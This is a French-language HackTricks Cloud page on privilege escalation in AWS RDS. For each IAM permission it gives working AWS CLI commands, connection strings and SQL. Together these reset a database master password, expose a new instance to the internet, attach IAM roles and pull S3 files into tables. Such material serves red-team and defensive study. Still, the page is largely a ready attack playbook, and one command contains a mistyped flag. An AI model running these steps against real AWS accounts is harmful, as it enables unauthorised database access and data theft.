AWS - RDS Privesc
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
RDS - Service de base de données relationnelle
Pour plus d'informations sur RDS, consultez :
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Avec cette permission, un attaquant peut modifier le mot de passe du master user, et le login à l'intérieur de la base de données :
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Vous devrez ĂȘtre capable de contacter la base de donnĂ©es (elles sont gĂ©nĂ©ralement accessibles uniquement depuis l'intĂ©rieur des rĂ©seaux).
Impact potentiel : Trouver des informations sensibles dans les bases de données.
rds-db:connect
Selon les docs un utilisateur avec cette permission pourrait se connecter Ă l'instance DB.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
tip
Si l'exĂ©cution de SELECT datname FROM pg_database; renvoie une base de donnĂ©es appelĂ©e rdsadmin, vous savez que vous ĂȘtes Ă l'intĂ©rieur d'une base de donnĂ©es AWS postgresql.
Dans un premier temps, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pouvez le vérifier en regardant les extensions installées :
SELECT * FROM pg_extension;
Si vous trouvez quelque chose comme aws_s3 vous pouvez supposer que cette base de données a une forme d'accÚs à S3 (il existe d'autres extensions telles que aws_ml et aws_lambda).
Aussi, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez voir là si le cluster a un IAM Role attaché dans le champ AssociatedRoles. S'il y en a, vous pouvez supposer que la base de données a été préparée pour accéder à d'autres services AWS. D'aprÚs le nom du role (ou si vous pouvez obtenir les permissions du role) vous pouvez deviner quels accÚs supplémentaires la base de données possÚde.
Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec :
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Si vous aviez raw AWS credentials, vous pourriez aussi les utiliser pour accéder aux données S3 avec :
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql n'a pas besoin de modifier aucune variable de groupe de paramÚtres pour pouvoir accéder à S3.
Mysql (Aurora)
tip
Dans un mysql, si vous exĂ©cutez la requĂȘte SELECT User, Host FROM mysql.user; et qu'il existe un utilisateur appelĂ© rdsadmin, vous pouvez supposer que vous ĂȘtes dans une AWS RDS mysql db.
Dans le mysql, exĂ©cutez show variables; et si des variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez considĂ©rer que la base de donnĂ©es est prĂȘte Ă accĂ©der aux donnĂ©es S3.
De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rÎle associé, ce qui signifie généralement un accÚs aux services AWS).
Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rÎle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données contenues dans l'instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données de l'instance RDS.
Notez que certaines DBs nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.
rds:CreateDBInstance
Rien qu'avec cette permission, un attaquant pourrait crĂ©er une nouvelle instance Ă l'intĂ©rieur d'un cluster qui existe dĂ©jĂ et auquel est attachĂ© un IAM role. Il ne pourra pas changer le mot de passe du master user, mais il pourrait ĂȘtre capable d'exposer la nouvelle instance de base de donnĂ©es sur Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
note
TODO : Tester
Un attaquant disposant des autorisations rds:CreateDBInstance et iam:PassRole peut créer une nouvelle instance RDS avec un rÎle spécifié attaché. L'attaquant peut alors potentiellement accéder à des données sensibles ou modifier les données contenues dans l'instance.
warning
Certaines exigences pour le rĂŽle/instance-profile Ă attacher (depuis here):
- Le rĂŽle/instance-profile doit exister dans votre compte.
- Le profile doit avoir un rÎle IAM que Amazon EC2 est autorisé à assumer.
- Le nom de l'instance profile et le nom du rÎle IAM associé doivent commencer par le préfixe
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rÎle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données contenues dans l'instance.
warning
L'instance DB doit se trouver en dehors d'un cluster pour cela
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud